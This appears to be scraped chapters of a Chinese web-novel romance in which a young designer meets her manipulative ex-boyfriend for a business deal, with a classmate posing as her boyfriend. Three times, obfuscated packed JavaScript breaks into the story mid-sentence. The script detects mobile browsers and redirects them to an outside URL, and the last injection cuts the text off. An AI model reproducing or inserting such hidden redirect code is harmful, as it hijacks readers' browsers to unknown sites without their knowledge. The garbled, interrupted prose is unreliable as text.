“也对,你这种糙汉子怎么可能会有花瓶这种东西。”刘小叶拍了一下自己的脑袋,转向凌静宜,一脸谄媚,“那个……静宜,你能把花瓶借给我吗?” “花瓶?”凌静宜淡定地回答:“像我这种实力派,从来不在家放花瓶。 这个时候,我们才发现作为一个花多到可以开花店的宿舍,我们居然连个像样的花瓶都没有。 “我们的精致生活居然连个插花的地方都没有!”刘小叶哀嚎了一声,毫不留情地戳穿了我们假装精致的表象。 最后她死皮赖脸向凌静宜要了一个她认为最好看的酒瓶,把向日葵插好放在了客厅最显眼的地方。 “你们宿舍真热闹。”李离突然说了一句。 “是够热闹的。你不觉得她们很闹腾吗?我跟住在了菜市场一样。”凌静宜吐槽,“她们比五千只鸭子都聒噪。” 凌静宜穿着丝质睡衣摇曳的样子,像一条修炼了上千年的蛇精晃动尾巴,尽情展示她的美好身姿和慵懒姿态。如果说我们像树上刚刚结出来的小果子,她就是快要成熟等待采撷的水蜜桃。她的脸上,此刻洋溢着纯粹而快意的笑容。 我一直知道她是美丽的,但从未意识到她的美如此独特。我目不转睛地望着她,她的周遭似乎有一圈光晕,让人挪不开视线。 李离轻声嗫喏,可我没有注意她说了什么。 凌静宜的电话响了。她看了一眼来电显示,笑容凝固在了脸上。 32. 第 32 章 不管是什么样的观点都有人支持有人反对,争议性才是一个观点长存的生命力来源。最近在我们宿舍颇具争议的观点是:这个世界是否存在真正的公平。 有人信奉这个世界是公平的,它会奖赏那些勤奋的人,可能会晚来,但不会缺席。许苑薇是这个理论的忠实拥护者及捍卫者,这一点从她兢兢业业仿佛在读高四的学习态度可以看出来。 刘小叶则持反对意见,她认为有些人不需要努力就能获得很多别人殚精竭虑奋斗的成果。有些人天生更幸运。她说,这个世界最公平的只有一点,所有人最后都会死。 郑筱只说了一句话表达她的观点:如果这个世界真的公平,那我为什么不能分到有钱人的钱? 陈梦晓支持刘小叶,她的理由是选择大于努力,在三十年前,胆子大就能发家致富,别说学历不值一提,能力可能都远没有胆子重要。 至于我,深信一点:出生在罗马的人和努力想去罗马的人,看到的世界完全不一样。前者不仅享受着不公平带来的特权,甚至还在想方设法加大不公平。 凌静宜不置可否,因为她觉得这压根算不上一个具有争议性的话题。 “或许,幸运也不过是努力到极致之后出现的结果而已。那么为什么获得幸运就不是一种公平呢?”许苑薇以一己之力反驳。 对于她的坚持,我陷入思考。 没有人知道那些看上去轻松获得的人们私下是否付出了更多努力,人们只是相信自己所“看见”的那些事实。至于真相是怎样,更多时候出于人们的臆测,他们从来不去想,也不愿意投入时间去寻找真相。人们并不关心真相,只遵从自己的价值观进行臆想。 如果将成功者归结为幸运,跟玄学也差不多了。将所有的不幸都归结为命运的不公平,这件事本身似乎就不怎么公平。在面对自己无法成功不是因为不够勤奋而是由于不够幸运,人生看上去容易很多。生而不公,是不用去努力的很好借口。 这种辩证议题,不存在对错。但对这样的结果,我感觉诧异:作为天生的悲观主义者,我认为努力不过是在极小的范围内有效。可我没想到,除去凌静宜,居然以压倒性的1:4彰显了本该对未来万分憧憬的大学生群体对未来的悲观。 此时此刻,上帝宠爱的幸运儿凌静宜正面临选择:出卖自己的尊严换取幸运,还是勤奋地出去奔波多找几个项目。 这个世界,所谓的公平都有它自己的衡量方式,明码标价。尊严和利益放在称的两端,而孰轻孰重,不过来源于每一颗不同的人心。 犹豫了几秒之后,她按下了拒绝键,然后迅速把那个号码拉入了“号码拦截”名单。 过了一会儿,电话又响了起来,是个座机号码。凌静宜本来想挂掉,想起Jacob说约好了保洁公司,留的她号码。 凌静宜神色复杂,“也许是保洁公司……”她安慰自己。 深深呼出一口气,走到阳台,接起了电话。 下一秒,她便后悔自己的侥幸。 “小静,收到花和礼物了吗?”电话那头的声音很熟悉,也很陌生。 “陈总,请你不要再给我送任何东西了。我不会接受你的任何礼物。”她顿了顿,说:“我男朋友知道会不高兴的。” “小静,你根本没有男朋友,你是骗我的。”陈东尔云淡风轻,以胜券在握的姿态追捕猎物。只有很熟悉他的人才能听出,波澜不惊的语调貌似白开水,如今渗入了几滴烈酒一般,压抑着喜悦和兴奋。 凌静宜面不改色地撒谎:“谁说的?有没有男朋友我自己不知道吗?” 电话那头沉默了几秒,“小静,别跟我逞强。” “陈总,我跟谁在一起,是不是分手,没必要跟你汇报吧?”凌静宜挺直了背,“请记住,我们分手了,你只是前任。” “Shit!”听筒里传来钝物撞击的闷响。 “陈总,没别的事儿了吧?还有人在等我。” 凌静宜的嘴角微微上扬,很好,这非常不陈东尔。 “今天你有时间吗?我想……” 没等他说完,凌静宜就打断了他,“不好意思,陈总,我已经有安排了。我男朋友准备了一系列的活动。圣诞节,当然是要跟男朋友一起过。” “不管你有什么安排,来见我。”陈东尔把商人的精明充分用在了这次邀请上,“我们下一个项目马上就要启动了。相信你不会怀疑Cone Monster的供应商名单上有一长列对这个项目虎视眈眈的竞争对手。” 凌静宜从来不相信她的实力会被任何人超越,面对挑衅,她的回应从来都是反击回去,“陈总,你这是在暗示Cone Monster的眼光有问题吗?我对自己公司的表现一贯很有信心。” “不可否认,上次的合作很愉快。可是……”陈东尔挑了挑眉毛,他知道卖关子对凌静宜不起作用,“有时候,运气比实力重要,你说呢?” “只有没实力的人才只相信运气。”凌静宜从鼻子里哼了一声。 真可笑,她们才讨论过所谓公平,她并不认为公平是运气和勤奋之间的简单博弈,它很复杂。现在陈东尔告诉她运气比实力重要,可如果没有实力,她甚至不能进入Cone Monster的供应商名单。宇宙是准备让他们组团来告诉她,这个世界是一个巨大的抽奖池,获得成功的那些人仅仅因为中了大□□吗? “Prove it!”陈东尔的声音低低的,但丝毫不妨碍他咄咄逼人的气势,“上个案子做得不坏,但算不上顶尖。Cone Monster只跟真正有实力的公司合作。” 疯狂怀念她的蛮不讲理。 毫无理智怀念她的牙尖嘴利。 莫名其妙怀念她的得理不饶人。 ——因为,唯有这一切,表明你是她一国的。 陈东尔期待着凌静宜给他强有力的反击,想象着她狡黠而甜美的笑容,毫不吝啬地从从她娇嫩的双唇里挤出的那几个字——我就是最棒的。陈东尔,你要倒霉了! 凌静宜在心里已经咬牙切齿了,她把头从手机上挪开,望着阳台外面那棵树。深深吸了一口气,捏紧了拳头,开始默数,从1数到10,再从10倒数回去。幸好他不在面前,否则她真不敢保证自己会忍不住狠狠反击。 陈东尔真是好样的,他刚刚差点让她运行良好的情绪控制成果毁于一旦。事实上,自从读了《心理学与情绪控制》之后,她一直在认真实践——控制得了情绪的人才更有可能获得最终的成功。 可想而知,当凌静宜淡然地回答“陈总,请问这是一次正式的合作邀约吗”时,陈东尔有多么失望:她的淡然,是在无声宣告“你谁也不是”和“请你赶紧说完废话,然后从我眼前消失”。 陈东尔在电话那头的声音有些飘忽,“如果你不来,K.F将彻底出局。我会把地址发给你。” 刚刚压下去的火气噌的一下又冒了上来,凌静宜恨得牙痒痒。就在她要发作时,一个念头在她脑子里迅速闪过。来不及深思熟虑,她已经听到了自己的声音。只有她自己知道那是气到了极致——陈东尔自认为了解她,可她早已不是三年前的小女孩了。 她笑得漫不经心,“陈总是打算潜了我吗?还有新鲜感吗?” 一股怒气直冲上脑门,要不是还在通话当中,陈东尔大概就把电话砸出去了。经过商场上的摸爬滚打,在很多人看来,陈东尔像是一块巨大的冰雕,异常冷静没有波动,但凌静宜总是轻而易举地能够左右他的情绪。 即使如此,像他那类人,也不用在心里默念10个数,就能迅速地平息冒出火苗的愤怒情绪。喜怒不形于色,这一课他不是初学者。 凌静宜正等着陈东尔愤怒地挂断电话,在这一回合得分上垒。 “小静,不要这么对我说话。”大概停顿了两秒之后,凌静宜听到了他的声音,“以前,我们……曾经那么好。” 啊!又是以前!凌静宜在这一刻差点愤怒地挂掉电话。她用力地抓住话筒,警告自己如果这么做,自己就输了。 电话里传出来的声音疲倦忧伤,“小静,你不知道……我……”,他突然顿了一下,带着一丝烦躁,轻轻喘了口气,“我只是……想见见你。” 苦涩?!不甘心?!这种情绪怎么可能会出现在负心汉身上?他刚刚还在威逼利诱,用不公平的特权企图胁迫她就范。 凌静宜昂起头,不理睬自己心里来来回回的拉扯,嘴角扯出一个微笑,“来可以,你不介意我多带个人吧?” 电话那边似乎愣了一下,但迟疑没超过一秒,“只要你肯来。” 挂了电话之后,陈东尔掏出手机,快速地编辑了短信之后发送了出去——他加了几次微信——都没有被通过。 他站在办公室的窗前,今天的天空干净得不像话,一点都不像是冬天,湛蓝的底色上悠然地飘着零星的几片云。只有带着寒气的风从窗户里疯狂地涌进来,像是躲避寒冷的人一股脑挤进温暖的城堡——他走到窗户边,把窗户关起来,轻轻把脸贴在玻璃上,看着街上的人匆匆忙忙地走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997368|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来走去。这一刻,他仿佛还是那个深信自己的未来会无比美好的少年——有亲人在身边,按部就班地升学工作,陪着自己心爱的女孩儿体验人生。 他曾经,是那么简单的人。而现在,他已经习惯了丛林里的厮杀,独自舔舐伤口,用一切可能对自己有利的手段去获取结果。 一对小情侣在窗户斜对面的街道上,女孩子似乎正在生气,男孩子一脸讨好。片刻后,两个人拥抱在一起,然后牵着手离开。 也许,所有的爱情,在最初都简单而美好。 离开前的那个下午,他看着凌静宜一蹦一跳甩着长长的马尾,渐渐离开他的视线。直到看不到她的背影,他还在原地站了很久,然后捏紧拳头,掉头上了飞机。到今天,他都记得那天飞快移动的云是暗红色的。 刚刚凌静宜的话像一根针狠狠地扎了他一下,在三年前,他怎么会想到,要接近她只能用自己不齿的方式?! 他询问自己,如果知道他们之前会走到这一步,是否三年前他还是会做同样的选择。但事实就是,无论他想或者不想,现在他们已经是这样了。 在商场摸爬滚打,他当然知道有多少大公司的决策者通过各种不干不净的手段,占有了很多漂亮的女孩子。但在他看来,那不过是一种商业交换——一方求财,一方求色,无可厚非——更何况有不少女人,单单冲着他那张脸,就想爬上他的床。 现在,一想到那种事情可能会发生在凌静宜身上,他就愤怒地想要杀人。 尽管他明白如她一样骄傲,没有人能逼她做任何她不想做的事情。只是,他对自己没把握,也明白时间才是最可怕的——没有什么在时间的冲洗下不会褪色。 时间能够改变很多,他变了,谁又能保证她一如从前。凌静宜已经不是原先那个他能够轻易讨好和哄回来的小女孩了。 他对自己的信心减退,甚至有一种陌生的他以为自己忘却的情绪在心头蔓延——恐惧,焦虑。以前非常笃定地认为,他和凌静宜之间永远都不会有别人,他不会爱上别的女孩子,她同样也不会爱上别的男孩子。现在,他不确定。凌静宜越来越像一个狩猎者,虽然在很多人看来她是一只完美的猎物。傻瓜都明白,凌静宜对那些所谓的精英人士有多大的吸引力——有气质的白富美,热衷于赚钱,她有能力帮老公搞出个福布斯排名前100上市公司。 凌静宜并不知道,他一直关注她的动向。所以他知道,追求她的青年才俊如同过江之鲫,可她一直没有对任何人有回应。他知道她和他一样胃口刁钻,一般人压根不会放在眼里,正是笃信这一点,他才敢赌一赌。 他甚至笃信,即使她现在身边有别人,他也能把他从别人手里抢回来。再出类拔萃的青年才俊,也不过是丛林中的一只孔雀,在他的世界里不堪一击。那些敢打她主意的男人,他会在他们还没伸出自己的爪子之前就打断它。弱肉强食,是世界的生存法则。 原先他没把叶翔放在眼里,他认为叶翔不过是没什么建树的富二代,而且在他回国之前压根都不认识小静。没想到,他居然成了个变数:小静从不让人轻易靠近她,可这个叶翔,像只苍蝇一样赶都赶不走。小静可能自己都没意识到,她默许叶翔在她身边出没。 陈东尔苦笑了一下,他嘲笑自己居然会吃一个冒充者的醋。 在今天之前,他从来不知道自己会如此害怕失去一个人。父母亲的逝去太过突然,他来不及感伤就卷入了新的战场中。事后回想起来,疼痛被报复的欲望所包裹,随着攻城略迅速蚕食曾经趁乱狙击吞并陈家的那些家族的商业版图,陈东尔觉得快慰且满足,他以这种方式缅怀父母。他冷漠而残忍的狙击方式,令人闻风丧胆,只要听说Monster Cone的收购,大部分企业都无法抗拒——并不是它offer的价格有多么具有诱惑力,而是如果不同意被收购,就只有破产一条路。 在商业这个舞台上,他是当之无愧的明星。不,他从不出现在台前,应该说,在商业这个兵不血刃的战场上,他是所向披靡的君主。可他和凌静宜的这场情事当中,谁输谁赢,成了未知之数。 现在是下午一点一刻,距离见到她还有一个小时左右。陈东尔的心脏猛烈地跳动着,仿佛这是一次有去无回的旅途。 如果命运站在云端打开上帝视角,以事不关己的态度看待它所制造出来的悲欢离合,会发现这个圣诞节弥漫着诡异的气息——看上去宁静祥和的欢乐氛围下暗潮汹涌,好像一切的快乐也好,悲伤也罢,不过是它用来调剂无聊的工具。 33. 第 33 章 叶翔开着车穿过喧嚣的街道,向着W市的最西边飞奔。道路两边光秃秃的树木不停向后倒退,像是挥手致意。车载蓝牙提醒他有一条新微信消息,他并没有在意。经验告诉他,如果是急事,对方会打电话。非紧急和重要的事项,都不会出现在他的首要事务表单上。 凌静宜烦躁地来回踱步,她想都没想,拨出了一串数字——那是被她无视过若干次的电话号码。她没意识到,现在一旦发生什么事情,她的脑子里最先蹦出的不是Jacob的电话。 郑筱站在口红柜台面前出神,她在想是不是该感激这波被制造出来的本不属于国人节日的狂热——对她来说与平常没什么区别的日子给她带来了实打实的快乐——这一天兼职给200元。 许苑薇悄悄躲进了房间,她的手机屏幕上有一条微信消息——今天一起过节吗? 刘小叶捏着手机蹲在向日葵旁边,捧着自己的脸蛋,笑得很开心——她刚刚给欧祈发了微信。 欧祈一个人在宿舍里,按照自己画好的图纸来来回回地叠着,看上去是一个建筑模型。手机放在右手边,屏幕亮着,有两条显示来自“宝贝猪猪小叶子”的微信。 陈梦晓手里攥着没被刘小叶发现的小纸条,展开之后,上面用隽秀的钢笔写着——在古希腊神话中,红玫瑰是爱与美的化身。爱是我,美是你,无与伦比。她把纸条抚平整,夹在了日记本里。 陆亦在宿舍里刚刚查完一家公司的财报,手机响了一声,弹出订单送达提醒。 我百无聊奈地躺在沙发上翻杂志打发时间,有一段文字不请自来,不断往外翻涌,赶紧回房间打开了电脑。写完那一段之后,灵感飘走了,我盯着屏幕陷入了停滞,不知道该怎样继续,长久敲不出一行字。 李离去了厕所,一阵剧烈的呕吐,脸上接近透明的苍白。她不知道自己怎么了,好像这些快乐都是摸不着的泡影,轻轻一碰就破碎消失得无影无踪。 每个人都以自己为中心,自认为以自己的意志行动,忽略了命运的摆弄。 宿舍里一早就没了人,除陆亦之外的三个人都有女朋友。他一个人待在空荡荡的宿舍里,以前他觉得这样极好,安静地读上市公司报告是排在练习剑道和吃鳗鱼饭后的第三大乐事,现在他竟觉得这份安静如此寂寥孤单。 他抬起头看着天边的云朵聚了又散,掏出手机打给萧楠,“在哪儿呢?有安排吗?” “别说了,我被叶翔那小子放鸽子了。真是有异性没人性!”萧楠正憋着一肚子气,思旻路满大街都是成双成对的小情侣,他不知道自己到底应该马上掉头回家睡觉以避免视觉及心灵的双重伤害,还是跑去铭盛狂揍叶翔一顿。 “叶翔没跟你一起?”陆亦突然领悟到其中的关窍,惊诧地喊:“他追上凌静宜了?” 陆亦当然知道叶翔在追求凌静宜,如果他不知道,才是真的奇怪。 他们从初中开始就是一起行动的小团体,M中的女生大概除了读书之外,时间都花在对他们几个的臆想和揣测上了。而这些臆想和揣测摆脱不了“叶翔到底有没有跟萧楠在一起”、“看上去陆亦和萧楠更般配”、“如果他们中的任何两个在一起了,到底是该祝福还是该嫉妒”…… 更何况前两个星期叶翔约了他们俩吃饭,信誓旦旦地要“介绍”未来人生伴侣给他们认识。当然他们见到的是凌静宜发表在《金融季》杂志上的照片,附加“我未来女朋友是不是很有才”、“我未来女朋友多有气质”之类的夸夸其谈。叶翔完全无视他们的白眼。 陆亦说“在我拉黑你之前,你最好能有些建设性的言论”才阻止了叶翔的畅想,萧楠翻了个白眼,“他再想下去,就该是凌大美女要给他生几个孩子了”,没想到叶翔居然一脸闷骚地表示这的确应该纳入考虑范畴。 萧楠抬起手摁住自己的胸口,异常郁闷地说:“我受到了伤害!” 最后,叶翔请了一顿大餐作为精神补偿。 那顿饭他们仨基本上是在讨论316宿舍都住着些什么妖精,到底有没有高人可以支招怎样才能脱单。这三个精神小伙儿对自己的魅力产生了怀疑:明明以前都是人见人爱花见花开的校草,怎么到了316宿舍的姑娘们那儿就成了不招待见的狗尾巴草? 一顿饭吃得愁云惨雾,最后他们把原因归咎为技能不足:如果以前女生们对他们不那么热情,按他们的学习能力,应该能培养出追求姑娘的必备技能。哪像现在,技能全无,无从下手。 萧楠烦躁地回答:“不知道!” 想到叶翔有可能春风得意脱单在即,而他今天刚刚被拒绝,萧楠懊恼地想要暴走。 突然,萧楠意识到有些不对劲,他们仨当中论真的爱读书的学霸,那必须只能是陆亦。这种全民欢庆的节假日,通常都是他的独乐日。约到他出门的概率跟天上掉金子差不多。现在,他居然主动打电话问安排! 萧楠很诧异地问:“你一个从不过节的人,今天怎么了?” “……突然觉得自己再不出来就要变化石了。” “你终于开窍了!”萧楠觉得莎士比亚的戏剧太适合这个场景了,本来他买的是《仲夏夜之梦》,没想到票出成了《罗密欧与朱丽叶》——原本觉得有点不吉利,眼下看起来,他比殉情凄惨多了。 “正好我有两张话剧票,孟海大剧院门口见。” 没等陆亦然问剧目,萧楠火速挂断了电话——如果让他知道是去看《罗密欧与朱丽叶》,大概圣诞节就真的要一个人过了。 距离铭盛还有十分钟车程,电话响了。叶翔瞟了一眼来电号码,立马心花怒放,抑制不住嘴角上扬。电话里传出凌静宜冷冰冰的询问“你现在有时间吗”,他疯狂点头,忘了对方根本看不见。 “怎么不说话?没空吗?”凌静宜有些失望。 “怎么会!”叶翔慌忙开口,“有空有空,你找我,随时有空。” “找你帮个忙……”凌静宜不再矜持。 叶翔听到她说“今天需要跟你一起”时,自动忽略了“需要”代表的意思。他甚至开始幻想跨年夜、一个月纪念日、情人节要怎么过。与他相反,凌静宜听到他说“等我,十分钟左右到学校”时,有一丝后悔窜了上来。但她迅速把情绪压了下去——叶翔肯定不是专门为了她回学校,只是凑巧他有空能帮个忙。 叶翔把宾利开出了喷气式飞机的架势。 “那个……我俩算不算心有灵犀?”叶翔带着中了头奖的心情眉飞色舞地向凌静宜求证,“我还担心提前没跟你约,你有别的安排了。” 这一刻,明白自己是自欺欺人的凌静宜只能强撑着装作不知道,“确实有安排了,临时出了点状况。” 叶翔给自己打气,“不管怎么样,我俩算是第一次一起过节了。” 凌静宜白了他一眼,“跟上次一样,假装的,冒充的……能帮忙吗?” “还是那个前男友,ex,过去式?” 凌静宜一声不吭地拉开车门,坐在副驾驶上。随手拉下遮阳板,心里嘀咕,明明都已经是冻死人的天气了,这太阳怎么还这么晃眼睛。 叶翔很识趣地没有再继续纠结这个问题。 凌静宜上了车之后就没说过话,黑着脸,给了地址之后就直挺挺地坐在副驾驶位置上,看上去心情非常不好且忧心忡忡。 叶翔貌似不经意地问:“去那儿干嘛?” “谈生意。”凌静宜掏出墨镜,表明她不想就这个问题再多说一句。 叶翔看了一眼她抱着的盒子,再次没话找话,“还以为你不喜欢香奈儿……”他默默地在礼物清单上添加上这个品牌。 “以前喜欢。” 叶翔心脏猛烈跳了两下:她骄傲的样子真是让人百看不厌。 凌静宜把脸扭了过去,叶翔炙热的眼神让她的内心有一些小小的愧疚感。 “既然谈生意,我们需要提前勾兑些信息。”情绪让位给理智,叶翔冷静地开始就事论事。 从铭盛到盘古庄园上了高架之后车程大概半小时,两者都在W市的最西面。 下了高架,远远望过去,盘踞在半山腰的那栋小别墅显得卓越而孤单。世值过亿的住宅,气质通常高冷。 从大门开车到房子门口足足开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997369|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十分钟,途中经过了一个巨大的人工湖和一片草地,湖面结了冰,草皮上有一层晶莹的霜。 叶翔挺了挺背脊,打量着周围的景致。这里跟他想要买的那栋别墅隶属于同一个开发商,位置临近,仅仅隔着一条绿化带。他对整体的布局和规划很满意,傍山依水,远离喧嚣,每年暑假时过来住两个月,还可以作为公司团建地,相当划算。他准备回去就跟别墅中介约着看房。 笑到最后的才是赢家。陈东尔曾经认为,以他今时今日的社会地位,他是当仁不让的赢家。眼下,他有些忐忑,至少跟在凌静宜的关系上,现在谈论谁是赢家,似乎为时过早。 在窗帘的后面望着飞驰而来的宾利车时,他笑了。不得不说,陈东尔笑起来很好看,如同和煦的春日,甚至能迷惑得迎春花都绽放。笑容在车门打开那一刻僵住,然后一点点消退——下车的是叶翔,他绕到车的另一边拉开车门,凌静宜跨了出来。 陈东尔穿着黑色羊绒大衣,领口上别着一个镶着碎钻的飞鹰别针,凌静宜知道Moster Cone的标志是飞鹰,但她从没想过跟自己有什么关系。她把视线从飞鹰别针上挪开——曾经她也有一枚——把抱着的盒子递给他,不带任何表情,“你大概不知道,我早就不用香奈儿了。” 白色的飘带从她黑色的小羊皮手套上垂下去,显得惨白无力。 这对陈东尔并不是致命的打击。此时此刻,他的注意力全都在叶翔的胳膊上,后者驾轻就熟地把手环在凌静宜的腰上。他突然有了一种自己是不是要输了的恐惧感。他从来不认为自己会输,可此时此刻慌乱惊恐,逼得他差点不能呼吸。 叶翔骄傲地扬着头挑着眉毛,恍若胜利者。他在心里迅速将这个地段划入了“永不购买”名单。 陈东尔几不可察皱了皱眉,以“商业会谈涉及公司机密不能有外人在场”为由拒绝让叶翔进入房间,凌静宜未置一词。 “陈总,你大概不知道,我私下是小宜的男朋友,可我本职是K.F design的律师,我有必要在场,保证K.F合法正当的商业利益得以实现。”叶翔一本正经地介绍自己子虚乌有的身份,凌静宜露出了一个微笑。 这是个无懈可击的理由。 陈东尔冷着一张扑克脸,侧身让出一个人的位置,叶翔贴着凌静宜挤了进去。陈东尔整张脸都黑了。 这三个人把一次情敌会面变成了一场商业会谈,大概也就只有像他们这样的奇葩能干得出来。 陈东尔镇定自若地介绍新项目的构想,叶翔算是看明白了,还没开始招投标的项目,前男友加塞开小灶,这是明晃晃的利诱。可偏偏他什么都没法做。 凌静宜神态自若地谈了些对新项目的设计想法,陈东尔时不时提出反馈意见。叶翔夹杂其中,只能间或提一提风险控制,除此之外,无任何用武之地。他的眼睛止不住往陈东尔身上看,帅气的脸都快抽搐变形了。 后来,凌静宜说起这件事,我真后悔自己没在现场。一只蝎子对两只公鸡的局面千年难得见到一回,大概这辈子都不会再有机会见到了。我的遗憾是史诗级的。 他们从那栋精美的小别墅出来时,已近黄昏。 陈东尔力邀他们留下吃晚饭,凌静宜笑得人畜无害,“不了吧。我们正事儿也谈完了,圣诞快乐!” 陈东尔还想说什么,叶翔接起了电话,“没变化,我们大概晚一刻钟到。” 挂了电话之后,叶翔侧向凌静宜,貌似说悄悄话,声音大小又能让人听得清清楚楚,“我们得抓紧了,预定的餐厅只能保留十五分钟。” “陈总,我们就不耽误您时间了。”凌静宜保持微笑,挽上叶翔的胳膊。 天空开始飘洒细碎的雪花。W市这两年冬天总在下雪,但从来没有像鹅毛一般的大雪,只是洒盐粒一样,吝啬得很;即便是这样的吝啬,也好过不下雪时雾霾笼罩,整个世界都灰蒙蒙的,压抑得让人喘不过气。 陈东尔心里五味杂陈,脸上依旧云淡风轻,“那我不强留了,后会有期。” 雪渐渐下大了,风煽动雪花,像蝴蝶一样扑向汽车玻璃。 34. 第 34 章 陈东尔望着黑色的魅影像骤风一样开走,心里好像缺了一块,失去感再一次萦绕在他的心头。 他按了按额头,转身向二楼走去,打电话给秘书,“通知各条线leader,十五分钟后视频会议,汇报项目进度。” 凌静宜从上车之后就闷闷不乐。 手机上有一条闪烁着的微信消息——小静,圣诞快乐!见到你很开心! 陈东尔用沟通工作为由加了凌静宜微信,盯着她通过了才继续聊项目。 凌静宜透过车窗往外看,道路一侧大概栽种的是冬青树,依然青翠的小树杈上覆盖着薄薄的积雪,风吹得小树向后倒去,哀伤突然袭上她的心头。凌静宜很不喜欢这种莫名其妙的情绪,感伤在她看来是最无用的软弱,除了给自己增加烦恼之外,没有任何用处。 叶翔用余光瞄了凌静宜好几次,快到分叉路口时,问她是不是回铭盛。 凌静宜置若罔闻,有点恍惚——他在思考问题时嘴角总是不经意的扬起,紧张时不停捻动拇指和食指,表达认同时手指轮流敲打桌子……她避开他炙热的视线,落在他身后的墙面,看到了放在荣誉学位旁边的合照,青涩甜蜜。 “你在想什么?”叶翔问了三遍还没得到回答,他忍不住提高了声音,“你究竟是对他没死心,还是想自虐或犯贱?” 凌静宜愣住了,是没死心吗?她把自己对陈东尔所有的感情可能性全都排列组合了一遍,也许天平曾经在仇恨和原谅之间来回晃动了一下,然而她迅速地把后者扔进了垃圾桶。 从来没有人像叶翔这样直白地给了她当头一棒。她感觉自己脸上发烫,像是被人当面甩了一个巴掌。 “不用你管!你有什么资格管我?” 凌静宜昂起头,她在心虚时愈发强势。 “对!我有什么资格?”叶翔突然爆发了,“我也想问问自己,为什么你一个电话,我问也不问就跑过来做你的冒牌男朋友?我到底图什么?!” “所以你图什么呢?”凌静宜低声问了一句,随后,她甩甩头,露出一个无所谓的笑。 “我有什么立场说你,真正犯贱的人是我。”叶翔高声嚷着。 “停车!”凌静宜的声音像是寒冰。 “你想干什么?” “我让你停车。” 凌静宜冰冷的态度激怒了叶翔,他猛然向右驶去,狠狠一脚踩在刹车上。 车子刚靠边停下,凌静宜就拎包开车门下车。 “你这是什么意思?” “今天很感谢你的帮忙,接下来,就不麻烦你了。”凌静宜戴上墨镜,雪落在脸上,凉凉的。 叶翔气急了,一言不发,开着车子以120码的速度冲了出去。 凌静宜站在那里,先发了条微信到宿舍群里——我晚点回来,你们先去吃饭。然后打电话给Jacob,她计算着自己距离别墅的距离,考虑如果只能走回去,会不会把腿走断。 她裹紧了大衣,在瑟瑟寒风和飘扬的雪花中艰难往前走。 电话还没有接通,叶翔把车倒了回来,他摇下车窗,还是赌气的口吻,“趁我没改变主意之前,赶紧上车。” 如果凌静宜看到他俩的行径回放,她会发现,叶翔和她就像幼儿园的小朋友,彼此生气,互不理睬,一方后悔,给自己和对方找个台阶,最后和好,继续一起玩。也许下一次还会这样,循环往复,互相赌气。 “什么?”凌静宜纹丝不动。 叶翔下了车,走到凌静宜身边,拉开她那一侧的车门,“不要逼我抱你上去。” Jacob仍然没有接电话,凌静宜抿了抿嘴,上了车。 车里空调开着很暖和,凌静宜在外面冻了片刻的身体慢慢回暖。她脱掉外套,里面是一条丝绸裙。凌静宜喜欢真丝和丝绒材质,可这两种材质的裙子对身材的要求异常高。即使是像凌静宜这样常年健身,站着的时候无可挑剔,坐下来也难免有一点点小肚子。她把包放腿上,贴向自己,用作遮挡。 两个人都沉默着。叶翔径直朝着铭盛驶去。 “你刚刚为什么一直盯着他看?”凌静宜试图打破尴尬的气氛。 “今天我看上的那件衣服原来被他抢走了!”叶翔的不爽溢于言表,“该死的,穿在他身上居然还挺好看!” 凌静宜不可思议地看着他,“你所有的重点都在他那件Armani 的大衣上?他才穿了5分钟就脱下来扔椅子上了吧?!对于我们刚刚谈的合作,你一个字都没听?” “设计那一趴,你不用问我,萧楠跟你会更有话题。”叶翔直直地盯着前面,说:“就商业合作条款来说……” 叶翔略微不自在地转了转身体,“如果他不以那种让我不舒服的眼神看你,他所提的那些条款堪称公平公正典范,甚至可以说更有利于你。这是我作为一个律师的专业意见。” 凌静宜第一次对叶翔有了不同的认识,客观公正专业,不偏不倚,让她刮目相看。 过了一小会儿,凌静宜咬了下嘴唇,轻轻地说:“对不起。” “因为什么?”叶翔眼里的光渐渐暗淡了。 “我刚刚不应该那么对你,还有我没办法回应……” “算了,我不想知道。”叶翔打断她,微微低了低头,隐藏自己快要控制不住的失落情绪。 稍稍平复后,他抬起头扯出笑容,恢复一贯吊儿郎当的样子说:“其实,我也没多喜欢你。今天只不过是帮忙而已,你别放在心上。” 凌静宜深深吸了口气,不知道为什么本该松口气却感觉心里闷闷的,“那就好。” 两人又陷入了沉默。 开过肯德基的那瞬间,仿佛远远地把现代社会抛在了后面,时空之门打开,欢迎进入一个与众不同的世界——在这里,你将收获独一无二的高四生活。 “你公司叫F.K.O design,有什么含义?”叶翔找了另外一个话题。 “如果我把公司叫作Fuck off Design,大概没公司愿意跟我合作吧。”凌静宜挑了挑眉。 她摸了下自己的头发,有一句话没有说出来——在真实的世界里,面对让自己不爽的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 